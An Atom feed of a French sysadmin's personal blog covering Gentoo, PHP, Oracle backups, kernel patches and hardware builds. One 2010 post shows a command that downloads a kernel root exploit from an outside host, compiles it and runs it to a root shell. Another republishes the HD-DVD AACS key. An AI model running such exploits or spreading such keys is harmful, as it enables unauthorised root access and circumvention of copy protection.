Arnaud Launay - Informatique2023-05-15T09:35:15+02:00Arnaud Launayurn:md5:2c0b88771f33f60560cc064589459385DotclearGentoo en php 5.3urn:md5:a7a5b13489a6abdd554aeb5af7a3874c2014-08-31T19:16:00+02:002016-01-28T18:47:16+01:00ArnaudInformatique <p>Je me suis aperçu ce jour que le serveur sous Gentoo qui tourne en php 5.3
n'arrivait plus à compiler ses extensions pecl en 5.3... J'ai passé un certain
nombre d'heures à essayer de trouver pourquoi, jusqu'à comprendre qu'un
bachibouzouk de développeur Gentoo a masqué le use flag du 5.3 !<br />
Je me demande de plus en plus ce qu'ils ont dans la tête... Et donc je migre
les serveurs sous Debian, peu à peu.<br />
<br />
Donc, pour refaire fonctionner les extensions php 5.3 sous Gentoo depuis le 29
août 2014:<br />
<br />
<code>mkdir -p /etc/portage/profile/<br />
echo "-php_targets_php5-3" >>/etc/portage/profile/use.mask</code><br />
<br />
Le "-" en début deligne n'est pas une erreur, il n'existe pas de fichier
use.unmask, il faut donc faire une double négation pour annuler le
masque...</p>Les gens en bleu sur youtubeurn:md5:fcc189d672d8651d5e1415dd4d1b54a52012-06-05T00:57:00+02:002012-06-04T23:58:01+02:00ArnaudInformatique <p>Apparemment, je ne suis pas le seul à avoir le problème des gens qui s'affichent en bleu (et de la peau et des objets un peu roses en général) sur youtube.</p>
<p>Je n'ai pas réussi à déterminer l'origine exacte du problème, mais c'est une combinaison de Linux, NVidia, et du Flash player d'Adobe. La même combinaison peut marcher sur d'autres vidéos en flash tout à fait normalement, mais fait apparaître les humains en bleu avatar sur Youtube, ce qui est fun, mais pas top.</p>
<p>Alors, pour la solution, c'est finalement assez simple: il suffit de lancer une vidéo, de faire un click droit dessus, de sélectionner "Paramètres", et de <strong>désactiver</strong> l'accélération matérielle. La vidéo actuelle continuera à être en bleu, mais si vous en sélectionnez une autre, miracle ! Les gens reprennent une teinte normale.</p>Apple: Steve Jobs, 1955-2011urn:md5:17edeea2e708bdd8954a1e6b176197eb2011-10-06T02:07:00+02:002011-10-06T01:09:29+02:00ArnaudInformatique <p>Steve Jobs est décédé: <a href="http://www.apple.com" hreflang="en" title="Apple">Apple</a></p>
<p>Qu'on n'aime ou qu'on n'aime pas, l'homme était quand même un visionnaire qui a fait bouger beaucoup de choses.</p>
<p>Bon vent, Steve !</p>Nouveau PCurn:md5:bd56fa41baec0e0e797836b0c86b6b262011-06-10T12:48:00+02:002011-06-16T15:42:21+02:00ArnaudInformatique <p>J'ai finalement besoin d'une nouvelle machine, plus puissante, rapide et à jour, et prévue pour durer environ 3 ans, j'en suis donc arrivé à:</p>
<ul>
<li>Boîtier <a href="http://www.antec.com/Believe_it/product.php?id=MjczNw==" hreflang="en">Antec p183 v3</a> -- 140,59€</li>
<li>Alim <a href="http://www.antec.com/Believe_it/product.php?id=MTgwMw==" hreflang="en">Antec CP-850</a> -- 122,50€</li>
<li>Carte Mère <a href="http://www.asus.com/Motherboards/Intel_Socket_1155/P8Z68_DELUXE/" hreflang="en">Asus P8Z68 Deluxe</a> -- 204,70€</li>
<li><a href="http://ark.intel.com/Product.aspx?id=52214" hreflang="en">Intel Core i7 2600K</a> -- 233€</li>
<li>16go <a href="http://www.ec.kingston.com/ecom/configurator_new/PartsInfo.asp?root=europe&LinkBack=http://www.kingston.com/ukroot&ktcpartno=KVR1333D3N9K2/8G" hreflang="en">Kingston ValueRAM KVR1333D3N9K2/8G</a> <del> 2x 69,12€ </del> -> 138,24€</li>
<li>Carte Graphique <a href="http://www3.pny.com/GTX-580-1536MB-PCIe-P2940C451.aspx" hreflang="en">PNY GeForce GTX 580</a> -- 443,93€</li>
<li>HD système: 2x <a href="http://www.crucial.com/eu/store/partspecs.aspx?imodule=CT128M4SSD2" hreflang="en">Crucial m4 128Go</a> <del> 2x 186,90€ </del> -> 373,8€</li>
<li>HD data: 2x <a href="http://www.wdc.com/en/products/products.aspx?id=120" hreflang="en">WD Caviar Green WD30EZRX</a> <del> 2x 136€ </del> -> 272€</li>
<li>Graveur DVD <a href="http://www.liteonit.eu/fr/optical-storage-dvd-rw-internal/ihas624.html" hreflang="en">Lite-On IHAS624</a> -- 25,95€</li>
<li>Hauts-Parleurs <a href="http://www.logitech.com/fr-fr/speakers-audio/home-pc-speakers/devices/5862" hreflang="fr">Logitech Z323</a> -- 40,56€</li>
</ul>
<p>Je suis preneur de tout commentaire sur cette config !</p>Le p'tit bonheur du joururn:md5:43059c07b425b0682bafbeae5f8e7b982010-09-18T16:49:00+02:002010-09-18T15:51:54+02:00ArnaudInformatique <pre>
asl@citron ~ $ wget -q http://sota.gen.nz/compat2/robert_you_suck.c ; gcc -o exploit robert_you_suck.c; ./exploit
resolved symbol commit_creds to 0xffffffff81042929
resolved symbol prepare_kernel_cred to 0xffffffff81042854
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
sh-4.0#
</pre>
<p>Cool. Toutes mes Gentoo sont affectées; par contre sur mes Debian Lenny ça ne fonctionne pas out of the box; à suivre, du coup...</p>FreeWifi et n900urn:md5:089bcc16bc965809c1fb575bae3e0a5f2010-06-09T02:27:00+02:002015-01-27T21:09:55+01:00ArnaudInformatique <p>Etant depuis peu muni d'un tout beau tout joli <a href="http://www.amazon.fr/gp/product/B002ZB8L4O?ie=UTF8&tag=pagepersonn02-21&linkCode=as2&camp=1642&creative=6746&creativeASIN=B002ZB8L4O" hreflang="fr">Nokia N900</a>, il me manquait un bout de script de connexion
automatique pour le réseau FreeWifi... <img src="https://www.assoc-amazon.fr/e/ir?t=pagepersonn02-21&l=as2&o=8&a=B002ZB8L4O" alt="" /></p>
<p>On m'en a envoyé un récemment, et après quelques rapides modifications, il
fonctionne parfaitement:</p>
<pre>
#! /bin/sh
LOGIN="votrelogin"
PASSWORD="votrepassword"
IP=`/sbin/ifconfig wlan0 | /bin/grep 'addr:\(78\.25.\)\.'`;
if [ "$IP" != "" ]; then
/usr/bin/wget --no-check-certificate -t 5 -T 5 -U "mozilla/5.0 (trick) safari/419.3" -O - --post-data="login=$LOGIN&password=$PASSWORD&submit=Valider" "https://wifi.free.fr/Auth" 2>/dev/null|grep "CONNEXION AU SERVICE REUSSIE" 1>/dev/null 2>&1 && echo "OK"
fi
exit 0;
</pre>
<p>Celui-ci doit être précédé d'un coup de</p>
<pre>
apt-get install wget
</pre>
<p>pour fonctionner.</p>
<p>A noter, ce script fonctionne si le freewifi vous donne une ip en
<strong>78.25<em>X</em>.*.*</strong> , je ne sais pas s'il existe d'autres
bouts de réseaux utilisés pour cet applicatif -- auquel cas, il ne reste plus
qu'à changer la regexp.</p>
<p>Ne reste plus que SFR-Wifi à faire fonctionner sur le n900, et je serai
quasiment complet...</p>System Administrator Appreciation Dayurn:md5:f54cae99db023ffd9210f634ff7116a22009-07-31T20:21:00+02:002009-07-31T19:22:20+02:00ArnaudInformatique <p>Je vous rappelle qu'aujourd'hui est le jour de l'appréciation de l'administrateur système, vous serez donc gentils de me témoigner votre admiration !</p>
<p><a href="http://www.sysadminday.com/" hreflang="en"> System Administrator Appreciation Day</a></p>Quatre ans après, on prend les mêmes et on recommence...urn:md5:072b8d4723db653c17ae6427aba3b16e2009-07-02T16:09:00+02:002009-07-02T23:06:22+02:00ArnaudInformatique <p>Dans un précédent billet voici plus de quatre ans, je vous faisais part d'une <a href="https://launay.org/blog/index.php/post/2005/05/27/63-des-joies-et-desillusions-de-l-hebergement">charmante sauterie</a> à base de coupure d'électricité qui s'était déroulée chez GlobalSwitch.</p>
<p>Et bien, tenez-vous bien (tenez-vous mieux...), la même chose vient de se dérouler dans le second datacenter cité dans ce billet, IXEurope (depuis racheté par Equinix). Et cette fois-ci, l'erreur humaine semble à la base du problème: une maintenance devait couper un onduleur (sur six), résultat, ils en ont coupé six: plus de courant dans tout le bâtiment.</p>
<p>J'avais déjà croisé deux ou tois personnes en même temps dans ce DC, mais là, c'était une vraie ruche, la moitié des baies ouvertes, les techniciens en train de beugler (moi y compris), les clients derrière qui hurlent qu'on les assassine...</p>
<p>Les datacenter sont censés fournir trois choses: la sécurité physique, la climatisation, et l'électricité. En 8 ans, c'est la troisième fois que je vois l'électricité partir en vrille dans un DC... Colt, GlobalSwitch, et maintenant Equinix; il y a aussi eu RedBus, mais je n'étais pas directement concerné.</p>
<p>A se demander si ces gens savent vraiment faire ce qui est leur métier de base...</p>
<p><em>Maj: quelques liens externes parlant du problème:</em></p>
<ul>
<li><a href="http://www.lefigaro.fr/hightech/2009/07/02/01007-20090702ARTFIG00463-dailymotion-victime-d-une-coupure-de-courant-.php" hreflang="fr">http://www.lefigaro.fr/hightech/2009/07/02/01007-20090702ARTFIG00463-dailymotion-victime-d-une-coupure-de-courant-.php</a></li>
<li><a href="http://www.theinquirer.fr/2009/07/02/panne-electrique-sur-un-centre-de-donnees.html" hreflang="fr">http://www.theinquirer.fr/2009/07/02/panne-electrique-sur-un-centre-de-donnees.html</a></li>
<li><a href="http://www.01net.com/editorial/504123/black-out-sur-plusieurs-sites-francais-ce-jeudi-matin/" hreflang="fr">http://www.01net.com/editorial/504123/black-out-sur-plusieurs-sites-francais-ce-jeudi-matin/</a></li>
<li><a href="http://blog.dailymotion.com/fr/index.php/2009/07/02/qui-a-eteint-la-lumiere/" hreflang="fr">http://blog.dailymotion.com/fr/index.php/2009/07/02/qui-a-eteint-la-lumiere/</a></li>
<li><a href="http://www.lebardegandi.net/post/2009/07/02/Explication-de-la-panne-qui-a-dure-4-heures" hreflang="fr">http://www.lebardegandi.net/post/2009/07/02/Explication-de-la-panne-qui-a-dure-4-heures</a></li>
</ul>
<p><em>Et l'explication officielle:</em></p>
<ul>
<li><a href="http://www.mail-archive.com/frnog@frnog.org/msg06392.html" hreflang="fr">http://www.mail-archive.com/frnog@frnog.org/msg06392.html</a></li>
</ul>DRBDurn:md5:416a5271de9c8bd4fa72122007635c0f2009-01-28T17:30:00+01:002009-01-28T17:31:39+01:00ArnaudInformatique <pre>
cd /usr/src
tar xjfp linux-2.6.28.2.tar.bz2 && ln -s linux-2.6.28.2 linux
cd ~/drbd-8.3.0
make KDIR=/usr/src/linux kernel-patch
cd /usr/src/linux
patch -p1 <~/patch-linux-drbd-8.3.0
</pre>
<p>Installation, compilation, reboot... Kaboom sur drbd le noyau.
Demain, je retente en module. Le 2.6.26.8 et drbd 8.2.6 en module marche très bien.</p>09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0urn:md5:e8cdb15f733ccfa476930bc06622ad0d2007-05-04T12:16:16+00:002007-05-04T12:18:32+00:00ArnaudInformatique <p>Comme tout le monde, je suis le mouvement et publie la clef permettant de décoder les HD-DVD:</p>
<pre>09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0</pre>
<p>Paf dans la tronche des DRM.</p>New machine: part I, processor and motherboardurn:md5:9f04f8e951316f5203cf5d3cafd194672006-09-05T14:08:00+00:002010-10-09T11:55:26+00:00ArnaudInformatique <p>So, I decided to buy a new machine, I'll divide the selection process into parts, and I'd like to have your input, so please, comment ! If you need some help with the french blog interface, send me an <a hreflang="fr" href="mailto:asl@launay.org">e-mail</a>.</p>
<p>The goal is to have a new "desktop" machine, but very powerful. I want to run Gentoo on it, with a stable and unstable one (probably using the vserver technology), while having a secure home (with a raid1). It will have to run vmware (I need Windows for some accounting software for my company), and I want it to be extremely quiet (probably some watercooling). Ah, and dual-screen, because it's better :)</p>
<p>So, first part: processor and motherboard. Well, the choice, to have a performance machine, is between Intel Core 2 Duo and AMD Athlon 64 X2. My choice will be the Athlon, in order to try the 64 bits. According to the <a href="http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_9485_13041%5E13076,00.html" hreflang="en">AMD Model comparisons</a>, I reduced the choice to a socket 939 processor (I have no need for sub-performance DDR2 memory), either a 4400+ (1MB of L2 cache, 2.2 GHz, 89W) or a 4800+ (1MB of L2 cache, 2.4 GHz, but 110W). I'll check what is available and at what price when everything will be done.</p>
<p>For the motherboard, I'm far more undecided. Reducing it to the socket 939 is good, but the choices are still overwhelming. I don't need SLI or crossfire, as I only want to do dualhead mostly for 2D (probably a Matrox Parhelia). But I want a firewire port (ieee1394), SATA 3Gb/s (sata2), at least one PCI Express x16, and classical input devices: PS2, at least.</p>
<p>That leaves quite a number of boards:</p>
<ul>
<li>Asus <a hreflang="en" href="http://www.asus.com/product.aspx?P_ID=oFFITL2c9018lFhF">A8N-SLI SE</a></li>
<li>GigaByte <a href="http://www.gigabyte.com.tw/Products/Motherboard/Products_Overview.aspx?ProductID=2268&ModelName=GA-K8NF9%20Ultra" hreflang="en">GA-K8NF9 Ultra(Rev 2.x)</a></li>
<li>Abit <a href="http://www2.abit.com.tw/page/en/motherboard/motherboard_detail.php?pMODEL_NAME=AN8+32X&fMTYPE=Socket%20939" hreflang="en">AN8 32X</a></li>
<li>ASRock <a href="http://www.asrock.com/product/939SLI32-eSATA2.htm" hreflang="en">939SLI32-eSATA2</a></li>
</ul>
<p>And probably quite a number of other cards... I'd like your opinions.</p>Rhythmbox remarche...urn:md5:154257e5322fec6731ecd6360ea22a662006-08-09T17:53:35+00:002006-08-09T17:53:35+00:00ArnaudInformatique <p>Bon, il y a eu quelques mois durant lesquels <a href="http://www.gnome.org/projects/rhythmbox/">Rhythmbox</a> (application pour lire des mp3 sans fioritures superflues) ne fonctionnait plus, à ma grande tristesse... Apparemment, la mise à jour de Gnome sur ma Gentoo a corrigé le tir, en mettant à jour gstreamer pour passer en version 10. Je viens de retenter un rhythmbox 0.9.5, et Ô miracle, il remarche.</p>
<p>Ah, d'autre part, j'ai été ajouté à <a href="http://larrythecow.org/">Planète Larry</a>, un aggrégateur de blogs d'utilisateurs Gentoo, n'hésitez pas à nous rejoindre !</p>Oracle Linux: sauvegarder une baseurn:md5:cab335b2c8f0e0b35817eca80015cdb12006-04-10T19:14:17+00:002006-04-10T20:53:03+00:00ArnaudInformatique <p>Il y a quelques semaines, lors d'une mission, les répertoires contenant une base Oracle en fonctionnement se sont avérés peser plus de 70Go; or, une sauvegarde effectuée sur une machine Windows montrait que le dump de la base ne pesait « que » 1,7Go. Le serveur devant être sauvegardé de façon régulière, il a alors été décidé de ne sauvegarder que le dump, et pas la base "à chaud". Il fallait donc trouver un moyen automatique de sauvegarder la base, moyen qui fût trouvé dans le script Windows qui faisait anciennement les dumps: la commande <code>exp</code> (pour <i>export</i>).</p>
<p>La sauvegarde se fait alors très simplement:</p>
<pre>[bash]
# Attention, utilisation de GNU date
OLDDATE=`date -d "8 days ago" +"%Y%m%d"`
DATE=`date +"%Y%m%d"`
BACKUPDIR="/oracle/backups"
USER=utilisateur
PASS=password
# On passe en utilisateur oracle, on lance la sauvegarde en
# spécifiant le fichier de dump et on envoit les logs dans un
# fichier de log en complément du dump
# enfin, on efface les sauvegardes de 8 jours avant
su - oracle -c "exp ${USER}/${PASS} \
file=${BACKUPDIR}/backup-${DATE}.dump \
&> ${BACKUPDIR}/backup-${DATE}.log \
&& rm -f ${BACKUPDIR}/backup-${OLDDATE}.*"
</pre>
<p>À noter, il existe la commande <code>imp</code> (pour <i>import</i>), qui permet d'effectuer l'opération inverse.</p>Horde: PHP Notice: Only variable references should be returned by reference in /usr/share/php/Auth/SASL.php on line 94urn:md5:bc133361748bfc2bf73f0e7dae5e74502006-04-08T16:07:08+00:002006-05-21T12:45:27+00:00ArnaudInformatique <p>Si dans les logs de PHP (testé avec 4.4.2), vous obtenez l'erreur "<code>Horde: PHP Notice: Only variable references should be returned by reference in /usr/share/php/Auth/SASL.php on line 94</code>" en utilisant Horde et IMP (testé avec 3.1.1), votre paquet <a href="http://pear.php.net/package/Auth_SASL" hreflang="en">PEAR Auth-SASL</a> est bogué. Le correctif, très simple, implique la modification du fichier <code>Auth/SASL.php</code>, dans lequel il faut remplacer:</p>
<pre>[php]
<?php
return new $classname();
?>
</pre>
<p>par:</p>
<pre>[php]
<?php
$obj = new $classname();
return $obj;
?>
</pre>
<p>En négligeant de reprendre les balises PHP, bien entendu. Ceci devrait régler le problème de ce message d'information, même si celui-ci n'impacte en rien le reste du fonctionnement du logiciel. Ce bug est décrit chez PEAR, <a href="http://pear.php.net/bugs/bug.php?id=6611" hreflang="en">Bug 6611</a>.</p>Gentoo et boot singleurn:md5:19dd079832a840e9733967875addceb22006-03-31T18:51:38+00:002006-04-02T20:31:17+00:00ArnaudInformatique <p>Sur la plupart des distributions Linux traditionnelles, le boot en single user mode se fait en passant l'argument <code>S</code> ou <code>single</code> à la ligne <code>kernel</code> de grub ou de lilo. Or, si vous avez essayé, vous aurez pu constater que ça ne marche pas sous Gentoo.</p>
<p>La réponse se trouve dans le fichier <code>/etc/inittab</code>, contenant la définition du runlevel <code>1</code>:</p>
<pre><code>l1:S1:wait:/sbin/rc single</code></pre>
<p>Pour comparaison, sur une ancienne RedHat 6.2 (Zoot), on trouve:</p>
<pre><code>l1:1:wait:/etc/rc.d/rc 1</code></pre>
<p>Vous noterez le "<code>S</code>" supplémentaire que l'on trouve sur la Gentoo. Ce deuxième champ décrit le(s) runlevel(s) spécifique(s) pour lesquels la ligne doit être exécutée. Normalement, la machine devrait donc se lancer en single si <code>1</code> ou <code>S</code> ou <code>single</code> étaient passés en argument; l'expérience prouve que ce n'est pas le cas; avec <code>1</code>, le boot single est correct, mais pas avec les deux autres.</p>
<p>Ce problème provient d'un bug de sysvinit, qui est le premier programme lancé par le noyau. Le correctif est inclus ci-dessous, et un <a href="http://bugs.gentoo.org/show_bug.cgi?id=95876" hreflang="en">bug Gentoo</a> a été ouvert à ce sujet en juillet 2005. En attendant que le correctif soit intégré de base dans la gentoo, utilisez <code>1</code> sur votre ligne kernel afin de passer en single user...</p>
<pre>[diff]
--- sysvinit-2.86/src/init.c.single 2005-12-21 12:21:04.000000000 -0500
+++ sysvinit-2.86/src/init.c 2005-12-21 12:21:40.000000000 -0500
@@ -1153,7 +1153,7 @@
* See if we have a single user entry.
*/
for(old = newFamily; old; old = old->next)
- if (strpbrk(old->rlevel, "S")) break;
+ if (strpbrk(old->rlevel, "S") && !ISPOWER(old->action)) break;
if (old == NULL)
snprintf(buf, sizeof(buf), "~~:S:wait:%s -l\n", SHELL);
else
</pre>Linux 2.4.32 et quotas ReiserFSurn:md5:8309278a213703b3a69224e47049c3662006-03-21T11:16:13+00:002006-03-21T13:11:25+00:00ArnaudInformatique <p>Le besoin du support des quotas s'étant fait ressentir sur un serveur chez <a href="http://www.nocworld.com">NocWorld</a>, et dont le système de fichiers principal est un ReiserFS, quelques recherches m'ont montré que, par défaut, ReiserFS ne supporte pas les quotas sous Linux 2.4... Cet état de fait est d'ailleurs explicité dans la FAQ de ReiserFS: <a href="http://www.namesys.com/faq.html#quota">Is quota-support built-in in the vanilla 2.4 kernels for ReiserFS?</a>.</p>
<p>Cette FAQ renvoit sur plusieurs sites contenant des patchs, qui malheureusement ne s'appliquent pas correctement à 100% à cause d'un patch pour la gestion de la mémoire haute appliqué dans le 2.4.25.</p>
<p>J'ai donc dû refaire le patch, en corrigeant ce léger décalage, et je l'ai concaténé en un seul, applicable au 2.4.32: <a href="http://launay.org/patchs/reiser-quota-2.4.32.bz2">Patch Quotas ReiserFS 2.4.32</a>.</p>
<p>Une fois le patch appliqué, et le noyau recompilé, il faut ajouter le(s) option(s) qui vous conviennent dans le fichier <code>/etc/fstab</code> (par exemple <code>userquota</code>), puis de rebooter la machine, et de lancer <code>quotacheck -avugm</code> (si vous utilisez les <a href="http://sourceforge.net/projects/linuxquota/">Linux DiskQuota</a>). Les fichiers contenant les quotas seront alors créés, et il vous suffira de les éditer en utilisant <code>edquota</code>.</p>
<p>Attention néanmoins, comme toute modification non présente par défaut dans le noyau Linux, il y a un risque d'explosion de votre système de fichiers, donc pensez à faire une sauvegarde avant de tenter l'installation des quotas. Le patch a fonctionné pour moi sans aucun problèmes, mais je décline toute responsabilité en cas de pertes de données. <b>SAUVEGARDEZ !</b></p>GMailurn:md5:dda89cf65a2e505643fa8decdf82bbf72004-06-20T11:53:19+00:002006-03-21T20:30:35+00:00ArnaudInformatique <p>Il y a déjà un mois, grâce à <a href="http://www.blogger.com/">Blogger</a>, que je dispose d'une adresse mail sur <a href="http://www.gmail.com">GMail</a>. J'ai dorénavant fourni tous ceux de mes amis qui en voulaient en invitations pour accéder au service, et il m'en reste encore quelques unes. Si ça vous intéresse, n'hésitez pas à demander.</p>
<p>Attention, néanmoins, il semblerait que les termes et conditions ne plaisent pas à tout le monde: <a href="http://gmail-is-too-creepy.com/">Gmail is too creepy</a>, donc jetez-y un oeil avant de vous précipiter. Ceci étant dit, personnellement, le contrat avec <a href="http://www.google.fr">Google</a> ne me dérange pas.</p>